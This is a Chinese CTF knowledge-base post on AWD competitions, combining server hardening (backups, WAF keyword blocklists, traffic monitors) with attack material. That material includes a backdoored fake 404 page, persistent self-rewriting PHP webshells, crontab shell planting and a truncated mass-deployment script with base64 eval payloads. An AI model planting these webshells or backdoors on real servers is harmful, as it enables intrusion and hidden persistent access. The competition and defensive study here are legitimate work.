目录

  1. 1. 前言
  2. 2. 加固阶段
    1. 2.1. 部署ssh连接
      1. 2.1.1. 离线连接vscode
    2. 2.2. 一把梭
    3. 2.3. 靶机信息
    4. 2.4. 备份
      1. 2.4.1. 源码备份
      2. 2.4.2. 数据库备份
    5. 2.5. 恢复&源码更新
      1. 2.5.1. PHP
      2. 2.5.2. Java
        1. 2.5.2.1. 构建项目
        2. 2.5.2.2. 重新打包
        3. 2.5.2.3. 更新靶机源码
      3. 2.5.3. MySQL
    6. 2.6. 修改口令
    7. 2.7. 应用发现
    8. 2.8. 监控
      1. 2.8.1. 日志监控(Failed)
      2. 2.8.2. 文件监控
      3. 2.8.3. php流量监控
      4. 2.8.4. Java流量监控
      5. 2.8.5. 前人的轮子
    9. 2.9. 伪造
      1. 2.9.1. 404页面
      2. 2.9.2. alias欺骗
    10. 2.10. waf
      1. 2.10.1. SQL注入
      2. 2.10.2. 文件上传
      3. 2.10.3. 命令注入
      4. 2.10.4. RCE
      5. 2.10.5. 反序列化
      6. 2.10.6. 拉满
    11. 2.11. 防御权限维持
    12. 2.12. D盾&Seay代码审计
  3. 3. 攻击阶段
    1. 3.1. 扫描
      1. 3.1.1. 探测目标存活
      2. 3.1.2. Nmap
      3. 3.1.3. 目录扫描
    2. 3.2. 不死马
      1. 3.2.1. 定时任务写马
      2. 3.2.2. 命令生成不死马
      3. 3.2.3. 批量生成不死马
      4. 3.2.4. 不死马处理
    3. 3.3. 拿shell了交个flag先
      1. 3.3.1. 预留后门模块
    4. 3.4. 对靶机武装666号——删站(

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

AWD个人知识库

2024/3/2 AWD
  |     |   总文章阅读量:

前言

个人总结的一点东西和脚本,暂时不公开(

参考:

https://blog.csdn.net/ConlinderFeng/article/details/108897028

https://natro92.fun/posts/85a783d6/

https://libestor.top/%e5%ae%89%e6%b4%b52022awd-java%e5%88%86%e6%9e%90/

https://rmb122.com/2019/04/04/%E5%B9%B2%E6%8E%89-PHP-%E4%B8%8D%E6%AD%BB%E9%A9%AC/

https://www.viewofthai.link/2023/08/04/ciscn2023-%e5%9b%bd%e8%b5%9b-awd-final-wp/


加固阶段

部署ssh连接

离线连接vscode

参考:https://zhuanlan.zhihu.com/p/294933020

在服务器不通外网的情况下(长城杯吃了这个亏),我们的 vscode 连不上自己的靶机

这个时候需要采用离线安装的方式手动下载vscode-server-linux-x64.tar.gz

先在 帮助—关于 这里查看 commit id

image-20240425145640597

https://update.code.visualstudio.com/commit:e170252f762678dec6ca2cc69aba1570769a5d39/server-linux-x64/stable

(注意把:${commit_id}替换成对应的Commit ID)

然后运行下面两行命令,建立空的$HOME/.vscode-server/bin文件夹。

mkdir -p ~/.vscode-server/bin
rm ~/.vscode-server/bin/* -rf  #把$HOME/.vscode-server/bin下的内容删干净,防止出错

然后将 vscode-server-linux-x64.tar.gz 上传在服务器上的$HOME/.vscode-server/bin文件夹中,解压

cd ~/.vscode-server/bin
tar -zxf vscode-server-linux-x64.tar.gz
mv vscode-server-linux-x64 e170252f762678dec6ca2cc69aba1570769a5d39 # 注意把:${commit_id}替换成对应的Commit ID

一把梭

#!/bin/sh

echo "安装VS Code Server服务..."


webapp="/var/www/html"
echo "########################################################################################################################################################################################################"
echo "备份源码..."

target_folder="/tmp/web.tar"
source_folders="/var/www/html"
if [ -f "$target_folder" ]; then
    echo "目标压缩文件已存在: $target_folder"
else
    echo "执行压缩命令..."
    tar -cvf "$target_folder" "$source_folders"
fi
##############################################
exclude_files="LICENSE"
exclude="*.js *.sh info.txt *.map *.so.* *.so *.tar *.zip"


exclude_dirs=""
for dir in $exclude_files; do
  exclude_dirs="$exclude_dirs --exclude-dir=$dir"
done

exclude_files_arg=""
for ext in $exclude; do
  exclude_files_arg="$exclude_files_arg --exclude=$ext"
done

echo "查后门..."
{
  echo "------疑似预留eval后门------"
  grep -rnw '.' -e "eval" $exclude_dirs $exclude_files_arg
  echo "------疑似预留system后门------"
  grep -rnw '.' -e "system" $exclude_dirs $exclude_files_arg
  echo "------预留poc:------"
  grep -rnw '.' -e "\$poc" $exclude_dirs $exclude_files_arg
} > /tmp/vuln.txt

echo

##############################################
echo "上waf..."
waf="<?php
\$pattern = \"/\b(?:call_user_func|call_user_func_array|array_map|array_filter|ob_start|phpinfo|eval|assert|passthru|pcntl_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|ob_start|echo|file_put_contents)\b/i\";

foreach (\$_GET as \$param) {
    if (preg_match(\$pattern, \$param) == 1 || strpos(\$param, \"\`\") !== false) {
        die('flag{You shall die!}');
    }
}

foreach (\$_POST as \$param) {
    if (preg_match(\$pattern, \$param) == 1 || strpos(\$param, \"\`\") !== false) {
        die('flag{You shall die!}');
    }
}
?>"

if [ ! -f "RCEw4f.php" ]; then
    echo "$waf" > "RCEw4f.php"
    find "$webapp" -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('$webapp\/RCEw4f.php');/g" {} +
else
    echo "已上waf"
fi
echo
##############################################
echo "上监控..."
Monitor="<?php
\$ip = \$_SERVER[\"REMOTE_ADDR\"];
\$filename = \$_SERVER['PHP_SELF'];
\$parameter = \$_SERVER[\"QUERY_STRING\"];
\$method = \$_SERVER['REQUEST_METHOD'];
\$uri = \$_SERVER['REQUEST_URI'];
\$time = date('Y-m-d H:i:s', time());
\$post = file_get_contents(\"php://input\", 'r');
\$others = '...其他你想得到的信息...';
\$logadd = 'Visit Time:'.\$time.' '.'Visit IP:'.\$ip.\"\\r\\n\".'RequestURI:'.\$uri.' '.\$parameter.'RequestMethod:'.\$method.\"\\r\\n\";
\$fh = fopen(\"/tmp/log.txt\", \"a+\");
fwrite(\$fh, \$logadd);
fwrite(\$fh, print_r(\$_COOKIE, true).\"\\r\\n\");
fwrite(\$fh, \$post.\"\\r\\n\");
fwrite(\$fh, \$others.\"\\r\\n\");
fclose(\$fh);
?>"

if [ ! -f "phpMonitor.php" ]; then
    echo "$Monitor" > phpMonitor.php
    find "$webapp" -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('$webapp\/phpMonitor.php');/g" {} +
else
    echo "已上监控"
fi
echo
##############################################
echo "进程信息:"
ps -aux #| grep 'www-data'
echo

echo "可写目录检查:"
find / -type d -perm -002 2>/dev/null
echo
##############################################

靶机信息

uname -a  #系统信息
ps -aux -ps -ef #进程信息
id   #用于显示用户ID,以及所属群组ID
netstat -ano/-a #查看端口情况
cat /etc/passwd #用户情况
ls /home/ #用户情况
find / -type d -perm -002 2>/dev/null #可写目录检查
grep -r “flag” /var/www/html/  #查找flag
php -i | grep "php.ini" #查php配置文件

备份

源码备份

网站源码打包(路径视具体情况确定):

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
tar -cvf /tmp/web.tar.gz /opt/tomcat/webapps/ #java
tar -cvf /tmp/web.tar /app

image-20240412204345701

备份到其它位置

mv web.tar /tmp
mv web.zip /home/xxx

文件上传、下载(其实直接用Xshell这种就可以直接上传下载)

scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path  #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

检查备份:

find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip"

image-20240412205023769


数据库备份

数据库配置信息一般可以通过如 config.php/web.conf 等文件获取,以MySQL为例

image-20240412205528638

备份指定数据库

mysqldump -uroot -p334cc35b3c704593 databasename > bak.sql

image-20240412210118870

备份所有数据库

mysqldump -uroot -p334cc35b3c704593 --all-databases > bak.sql

image-20240412210629690

导入数据库

mysql -uroot -p334cc35b3c704593 databasename < bak.sql

数据库登录

mysql -udb_user -pdb_passwd

数据库操作:

create database db_name;

恢复&源码更新

PHP

tar -xvf web.tar -C /
unzip web.zip -d /var/www/html

cp /tmp/xxx.php /var/www/html/xxx.php && chmod 777 /var/www/html/xxx.php

Java

java的web程序运行通常都是使用jar包和war包来运行的,通常情况下的运行指令为:

java -jar awd.jar
java -war awd.war

jar包(war包也一样)本质是一种压缩文件,里面包含了从java编译到class的java文件已经程序运行的常规文件,是可以直接使用zip解压得到里面的内容,不过由于java已经编译了,所以需要工具/方法进行反序列化操作,得到原本的文件后我们才方便后面的操作

反编译的操作这里就不多提了,jdgui,jadx,IDEA都可以做到

反编译的文件组成:

  • META-INF(war包里是WEB-INF):文件的元数据,里面存放的是pom.xml文件和jar包的描述文件,对我们来说取出pom文件就可以了
  • BOOT-INF:这个文件夹是存放主要的java文件的,里面包含java的配置文件和源码文件。其中 classes 文件夹是包含源码文件配置文件的,lib 文件夹存放依赖文件,classpath.idx 是用来指明 classpath 的,我们需要将classes中的 com 文件夹放到项目文件的java文件夹中,其他文件放到 resources 文件夹中
  • org:spring boot的驱动文件

构建项目

在AWD中需要修补漏洞,这时候就需要将代码重新生成成一个完整的java项目,然后进行找洞,补洞

这里只需要创建一个简单的maven项目,将之前的反编译后得到的pom.xml(位于META-INF中)替换进去,然后将我们反编译后java文件和其他文件放到其中即可

src下的目录:

  • lib:java中需要的依赖文件
  • main
    • java:java源码
    • resources:java源码中的配置或者网站静态资源

重新打包

参考:https://natro92.fun/posts/82174079/

maven打包:maven直接有打包的操作,需要在pom.xml中写入打包类型是jar还是war,然后就可以通过package进行打包,在IDEA中直接点击即可,然后就可以在target中找到所打包的jar包了

IDEA打包:

在idea的项目结构 中选择 工件然后选择新建一个jar包,之后选择具有依赖的模块

然后选择文件,选择主类,之后是选择生成 META-INFO 的位置(测试的时候发现,修改到src目录,可以打包进jar中,不然最后的结果都是没有META文件报错)

选择完路径后点击确定退出即可,然后选择构建构建工件构建即可在out中找到jar包(默认的话)


更新靶机源码

上传,解压jar/war后在对应的xxx.class目录下

javac -cp C:...\lib;C:...\lib-provided xxx.java
  • 支持热加载.class:

    cp xxx.class /opt/tomcat/webapps/WEB-INF/classes/com/.../
  • 不支持热加载(如以jar包启动的话):

    用bandzip打开jar直接替换里面的.class文件,把靶机上的jar替换掉,kill掉现有进程重新启动(要记录原有的启动命令,ps -aux|grep jar或者cat /proc/{PID}/cmdline


MySQL

mysql命令行下操作:

use db_name;
source /tmp/bak.sql
mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql

修改口令

ssh口令修改:

passwd username

image-20240412212255252

MySQL数据库密码修改:

set password for mycms@localhost = password('123');
mysqladmin -uroot -ppassword ''

修改完数据库密码记得也要修改网站配置文件中的数据库配置信息

find /var/www/html -path '*config*'  #查找配置文件中的密码凭证

image-20240412212359569

网站后台的口令也要记得修改


应用发现

服务

寻找自身是 nginx 还是 apache 搭建的,并寻找出目录

find / -name "nginx.conf" 2>/dev/null     #定位nginx目录
find / -path "*nginx*" -name nginx*conf   #定位nginx配置目录
find / -name "httpd.conf" 2>/dev/null     #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录

网站

find / -name "index.php" 2>/dev/null
find / -iname tomcat #找java网站目录

image-20240412212814301

日志

/var/log/nginx/    #默认Nginx日志目录
/var/log/apache/   #默认Apache日志目录
/var/log/apache2/  #默认Apache日志目录
/usr/local/apache2/logs #可能Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log   #实时刷新滚动日志文件

查看访问量前十的链接:(本地测试的时候发现没权限)

cat /var/log/apache2/access.log |awk '{print $7}'|sort|uniq -c| sort -r|head

监控

日志监控(Failed)

这个脚本需要装pyinotify库,不通外网的环境下应该装不了

可将其使用pyinstaller打包为elf执行,但是实际情况还要考虑到靶机的glibc版本是否匹配。。

#coding=utf-8
##Author: 7i4n2h3n9 & EDS
##Team: Polar Day Cyberspace Security LAB

import os
import sys
import re
import pyinotify

# Set Log Path
def setHttpserver():
    print('Please set the log path of HTTPserver')
    logDir = input('Please input the path:')
    if os.path.isfile(logDir):
        return logDir
    else:
        print('File does not exist!')
        print('Exit the program......')
        sys.exit

class EventHandler(pyinotify.ProcessEvent):
    def __init__(self, file_path, *args, **kwargs):
        super(EventHandler, self).__init__(*args, **kwargs)
        self.file_path = file_path
        self._last_position = 0
        logpats = r'((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}'
        self._logpat = re.compile(logpats)

    def process_IN_MODIFY(self, event):
        #print("File changed: " + event.pathname)
        if self._last_position > os.path.getsize(self.file_path):
            self._last_position = 0
        with open(self.file_path) as f:
            f.seek(self._last_position)
            loglines = f.readlines()
            self._last_position = f.tell()
            groups = (self._logpat.search(line.strip()) for line in loglines)
            for g in groups:
                if check_Log(g.string):
                    print(g.string)

def check_Log(strLog):
    if re.search('union|eval|alert|update|insert|into|from|create|delete|drop|truncate|rename|desc|charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|sub|substring|oct|reverse|right|unhex|prompt|fwrite|curl|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|whoami|bash|phpinfo|msgbox|select|ord|mid|group|and|flag',strLog,re.I):
        return True
    else:
        return False

def LogMonitor(path):
    wm = pyinotify.WatchManager()
    mask = pyinotify.IN_MODIFY
    handler = EventHandler(path)
    notifier = pyinotify.Notifier(wm, handler)
    wm.add_watch(handler.file_path, mask)

    print('Now Starting Monitor %s' % (path))
    while True:
        try:
            notifier.loop()
        except KeyboardInterrupt:
            notifier.stop()
            break

if __name__ == '__main__' :
    logDir = setHttpserver()
    LogMonitor(logDir)

文件监控

#!/usr/bin/python
#coding=utf-8
#Usage :python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意:要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt



import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
	#command: find -name '*.php' -mmin -10
	command = "find -name \'*.php\' -mmin -10"
	su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
	STDOUT,STDERR = su.communicate()
	list = STDOUT.split("\n")
	#print str(list)
	#将文件处理成list类型然后返回。
	return list

#读取文件:
def loadfile(addr):
	data = ""
	#如果文件不存在就跳出函数
	try :
		file = open(addr,'r')
		data = file.read()
	except : 
		return 0
	all_data = addr+"\n"+data+"\n\n"
	file1 = open("shell.txt",'a+')
	#避免重复写入
	try:
		shell_content = file1.read()
	except:
		shell_content = "null"
	#如果文件内容不为空再写入,避免写入空的。
	#print shell_content
	if data :
		if all_data not in shell_content:
			file1.write(all_data)
	file.close()
	file1.close()
	rm_cmd = "rm -rf "+addr
	su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
	su.communicate()
	print "loadfile over : "+addr

if __name__ == '__main__':
	while True:

		list = scanfile()
		if list :
			for i in range(len(list)):
				#如果list[i]为空就不读取了
				if list[i]:
					loadfile(str(list[i]))
		else : pass

image-20240412213613808

此时shell.php被改成了shell.txt

image-20240412213851702


php流量监控

<?php
$ip = $_SERVER["REMOTE_ADDR"];      //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];       //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"];      //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD'];       //请求方法
$uri = $_SERVER['REQUEST_URI'];             //请求URI
$time = date('Y-m-d H:i:s',time());     //访问时间
$post = file_get_contents("php://input",'r');       //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>
<?php
	
	// $path = "/var/www/html/log.txt";
	$path = "/var/www/html/log.txt";
	$fp = fopen($path,"a+");
	$str = "IP ".$_SERVER["REMOTE_ADDR"]." url:".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']." ";
	$str .= "Gets:".json_encode($_GET)." POST:".json_encode($_POST)." COOKIE:".json_encode($_COOKIE)."HEADER: ".json_encode($_SERVER)."\r\n";
	fwrite($fp, $str);
?>

这种脚本一般放置在CMS的入口文件处,在这些入口的文件里使用require_once()就可以将监控脚本包含进去,达到流量监控的目的

一些常见的CMS入口地址:

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

也可以每个文件都包含

find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('\/var\/www\/html\/phpMonitor.php');/g" {} +

image-20240413174111362


Java流量监控

参考:https://github.com/hmt38/java_Laplace_Fluid_Maid

摆烂jar:

直接部署,代替掉题目的服务

java -jar demo.jar

摆烂class:

java源码编译为class,再将class打包进jar包

  1. 首先修改package路径,比如说我计划在controller同级目录下新建Myfilter目录,将java文件放于这个路径中,所以package路径就是controller的package/Myfilter

  2. 编译

    javac -extdirs BOOT-INF/lib/ -classpath BOOT-INF/classes/....package.../Myfilter MyObjectInputStream.java
  3. 更新 JAR 包中的指定文件

    注意这里的打开目录要和javaweb目录一致,inputfile的目录要符合javawebpath

    jar uf ctf-0.0.1-SNAPSHOT.jar BOOT-INF/classes/....package.../Myfilter/MyObjectInputStream.class

前人的轮子

流量监控日志
https://github.com/wupco/weblogger
https://github.com/DasSecurity-Labs/AoiAWD

伪造

404页面

伪造404(注意,PHP 5.5.0 版本中,/e 修饰符就已经被废弃,并且在 PHP 7.0.0 版本中被移除。7.0.0之后的版本/e修饰符就无法使用了)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

  <html><head>

  <title>404 Not Found</title>

  </head><body>

  <h1>Not Found</h1>

  <p>The requested URL was not found on this server.</p>

  </body></html>

  <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');

?>

哦牛批还能这样搞的

image-20240412215737732


alias欺骗

只对shell会话有效,对 webshell/rce 无效

或许可以拿这个玩意写蜜罐(?

alias cat="flag{this_ls_fakall_flag}"
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"

高权限的话可以直接改curl的执行权限

chmod -x curl

删除别名

unalias curl

image-20240413115148530


waf

仿照前面流量监控的方式批量上waf

find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('\/var\/www\/html\/RCEw4f.php');/g" {} +

image-20240413194129281

SQL注入

PHP:

$filter =
"regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|outfile|dumpfile|load_file|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|is|between|group_concat|like|where|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|\#|-|\"|'|\|";
if((preg_match("/".$filter."/is",$username)== 1) ||(preg_match("/".$filter."/is",$password)== 1)){
	die();
}
foreach ($_GET as $param) {
    if (preg_match($filter, $param) == 1) {
        die('flag{You shall die!}');
    }
}
foreach ($_POST as $param) {
    if (preg_match($filter, $param) == 1) {
        die('flag{You shall die!}');
    }
}

Java:

import org.springframework.stereotype.Component;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
@Component
@WebFilter(urlPatterns = "/system/role/list", filterName = "sqlInjectFilter")
public class sqlFilter implements Filter {
    public void destroy() {
    }
    public void init(FilterConfig arg0) throws ServletException {
    }
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain
            chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;
// 获得所有请求参数名
        Enumeration params = request.getParameterNames();
        String sql = "";
        while (params.hasMoreElements()) {
// 得到参数名
            String name = params.nextElement().toString();
// 得到参数对应值
            String[] value = request.getParameterValues(name);
            for (int i = 0; i < value.length; i++) {
                sql = sql + value[i];
            }
        }
        if (sqlValidate(sql)) {
            throw new IOException("您发送请求中的参数中含有非法字符");
        } else {
            chain.doFilter(request, response);
        }
    }
    /**
     * 参数校验
     * @param str
     */
    public static boolean sqlValidate(String str) {
        str = str.toLowerCase();//统一转为小写
        String badStr =
                "select|update|and|or|delete|insert|truncate|char|into|substr|ascii|declare|exec|
        count|master|into|drop|execute|table";
        String[] badStrs = badStr.split("\\|");
        for (int i = 0; i < badStrs.length; i++) {
//循环检测,判断在请求参数当中是否包含SQL关键字
            if (str.indexOf(badStrs[i]) >= 0) {
                return true;
            }
        }
        return false;
    }
}

预编译:

$username=$_POST['username'];
$password=$_POST['password'];
$stmt=$conn->prepare("SELECT * FROM users WHERE username=:username AND password=:password");
$stmt->bindParam(':username',$username);
$stmt->bindParam(':password',$password);
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
if($result)
{
    echo "登录成功";
}
else
{
    echo "用户名或密码错误"
}
String sql = "select * from users where username=? and password=?";
PreparedStatement preparedStatement = conn.prepareStatement(sql);
preparedStatement.setString(1, username);
preparedStatement.setString(2, password);
ResultSet resultSet = preparedStatement.executeQuery();

//Mybatis
@Select({"SELECT * FROM users WHERE username=#{name}"})
public User getUserByName(String name);

文件上传

  1. 白名单过滤

    PHP:

    if (preg_match("/png|jpg|jpeg|gif/is",(substr($_FILES["pic"]["name"],
    strrpos($_FILES["pic"]["name"], '.')+1))))
    {
    	#success
    }
    else{
    	die();
    }

    Java:

    String fileSuffix = fileName.substring(fileName.lastIndexOf("."));
    String[] white_suffix = {"gif","jpg","jpeg","png"};
    Boolean fsFlag = false;
    for (String suffix:white_suffix){
        if (contentType.equalsIgnoreCase(fileSuffix)){
            fsFlag = true;
            break;
        }
    }
    if (!fsFlag){
        die();
    }
  2. 强制添加后缀名

    PHP:

    move_uploaded_file($_FILES["pic"]["tmp_name"],"upload/" .$_FILES["pic"]["name"].".gif");

    Java:

    String filename = file.getOriginalFilename() + ".png";

命令注入

PHP:使用escapeshellarg()转义shell元字符


RCE

<?php
$pattern = "/\b(?:call_user_func|call_user_func_array|array_map|array_filter|ob_start|phpinfo|eval|assert|passthru|pcntl_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|ob_start|echo|file_put_contents)\b/i";

foreach ($_GET as $param) {
    if (preg_match($pattern, $param) == 1 || strpos($param, "`") !== false) {
        die('flag{You shall die!}');
    }
}

foreach ($_POST as $param) {
    if (preg_match($pattern, $param) == 1 || strpos($param, "`") !== false) {
        die('flag{You shall die!}');
    }
}
?>

image-20240413174412113


反序列化

PHP:

// 限制phar反序列化
$filter = "phar|zip|compress.bzip2|compress.zlib";
if(preg_match("/".$filter."/is",$data)== 1){
    die();
}
// 将所有的对象都转换为 __PHP_Incomplete_Class 对象
$data = unserialize($foo, ["allowed_classes" => false]);

Java:重写resolveClass

import java.io.*;
public class myObject Input extends ObjectInputStream{
public myObjectInput(InputStream inputStream) throws IOException{
    super(inputStream);
	}
    
	@Override
	protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException{
        if(!desc.getName().equals("com.xxx")){
            throw new InvalidClassException("Unauthorized",desc.getName());
        }
    return super.resolveClass(desc);
    }
}

拉满

<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt'); 
function waf() {
  if (!function_exists('getallheaders')) {
    function getallheaders() {
      foreach ($_SERVER as $name => $value) {
        if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
      }
      return $headers;
    }
  }
  $get = $_GET;
  $post = $_POST;
  $cookie = $_COOKIE;
  $header = getallheaders();
  $files = $_FILES;
  $ip = $_SERVER["REMOTE_ADDR"];
  $method = $_SERVER['REQUEST_METHOD'];
  $filepath = $_SERVER["SCRIPT_NAME"];
  //rewirte shell which uploaded by others, you can do more
  foreach ($_FILES as $key => $value) {
    $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
    file_put_contents($_FILES[$key]['tmp_name'], "virink");
  }
  unset($header['Accept']); //fix a bug
  $input = array(
    "Get" => $get,
    "Post" => $post,
    "Cookie" => $cookie,
    "File" => $files,
    "Header" => $header
  );
  //deal with
  $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
  $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
  $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
  $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
  $vpattern = explode("|", $pattern);
  $bool = false;
  foreach ($input as $k => $v) {
    foreach ($vpattern as $value) {
      foreach ($v as $kk => $vv) {
        if (preg_match("/$value/i", $vv)) {
          $bool = true;
          logging($input);
          break;
        }
      }
      if ($bool) break;
    }
    if ($bool) break;
  }
}
function logging($var) {
  date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
  $time=date("Y-m-d H:i:s");//将时间赋值给变量$time
  file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
  // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

}
waf();
?>
find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('\/var\/www\/html\/full.php');/g" {} +

防御权限维持

如果无法使用低权限用户修改网站文件时,需要自己给自己上一个马(MD5马),维持www-data权限,方便动态进行文件改动(注意修改文件权限777),如patch等(仅限PHP)


D盾&Seay代码审计

代码审计思路:

PHP:Seay扫描 -> 高危函数相关代码(命令注入/RCE -> 文件上传 -> 反序列化 -> SQL注入)


攻击阶段

扫描

探测目标存活

import pythonping
from concurrent.futures import ThreadPoolExecutor


def get_ip(ip):
    res = pythonping.ping(ip)
    if "Reply" in str(res):
        print(ip + " 是存活地址")


ip = []
for num in range(1, 255):
    ip.append("192-168-1-" + str(num) + ".pvp3830.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
    result = executor.map(get_ip, ip)

Nmap

namp -sn 192.168.0.0/24         #扫描C段主机存活
nmap -sV 192.168.0.2            #扫描主机系统版本
nmap -sS 192.168.0.2            #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口
nmap -sS -p- 192.168.0.2        #扫描主机全部端口

目录扫描

dirsearch秒了


不死马

在 Linux 中,文件名以 - 开头的文件在命令行中通常被解释为选项或参数,而不是文件名

于是我们的马的名字可以以-开头

<?php 
ignore_user_abort(true);  // 客户机断开依旧执行
set_time_limit(0); // 函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__);  // 删除文件本身,以起到隐蔽自身的作用。
$file = '-2.php';
$code = '<?php if(md5($_GET["pass"])=="edee85b6d1da959d5fa73ce6ebde9c72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    // 这是修改生成时间
    system('touch -m -d "2017-10-17 10:25:33" .2.php');
    usleep(5000);
} 
?>

定时任务写马

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'edee85b6d1da959d5fa73ce6ebde9c72\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

命令生成不死马

ps -ax # 显示正在运行的进程
system('while true;do echo \'<?php if(md5($_GET[pass])==\"edee85b6d1da959d5fa73ce6ebde9c72\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');

批量生成不死马

#!/usr/bin/python
# coding=utf-8
import sys
import requests

'''
作用:向靶机发命令来写文件,文件名.index1.php
webshell.txt 格式如下:
http://127.0.0.1:80/1110/x.php,xost,x
http://127.0.0.2/1110/xx.php,POST,x
http://127.0.0.3/1011/x.php,get,3
http://192.168.1.155/1110/x.php,post,x
http://127.0.0.1/1110/y.php?pass=Sn3rtf4ck,get,a
'''

def loadfile(filepath):
    try:
        file = open(filepath, "rb")
        return str(file.read())
    except:
        print("File %s Not Found!" % filepath)
        sys.exit()

def cmd(url, method, passwd):
    #分割url ip 127.0.0.1:80 Rfile=/1111/x.php?pass=Sn3rtf4ck
    try:
        url.index("http")
        #去除http://   ==> 127.0.0.1:80/1110/x.php
        urlstr = url[7:]
        lis = urlstr.split("/")
        ip = str(lis[0])
        Rfile = ""
        for i in range(1, len(lis)):
            Rfile = Rfile + "/" + str(lis[i])
    except:
        urlstr = url[8:]
        lis = urlstr.split("/")
        ip = str(lis[0])
        Rfile = ""
        for i in range(1, len(lis)):
            Rfile = Rfile + "/" + str(lis[i])

    try:
        res = requests.get(url, timeout=3)
    except:
        print("[-] %s ERR_CONNECTION_TIMED_OUT" % url)
        return 0

    if res.status_code != 200:
        print("[-] %s Page Not Found!" % url)
        return 0
    
  	#执行命令 system,exec,passthru,`,shell_exec
  	#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
    data = {}
    if method == 'get':
        data[passwd] = '@eval(base64_decode($_GET[z0]));'
        data['z0'] = 'c3lzdGVtKCJ3aG9hbWkiKTs='
        try:
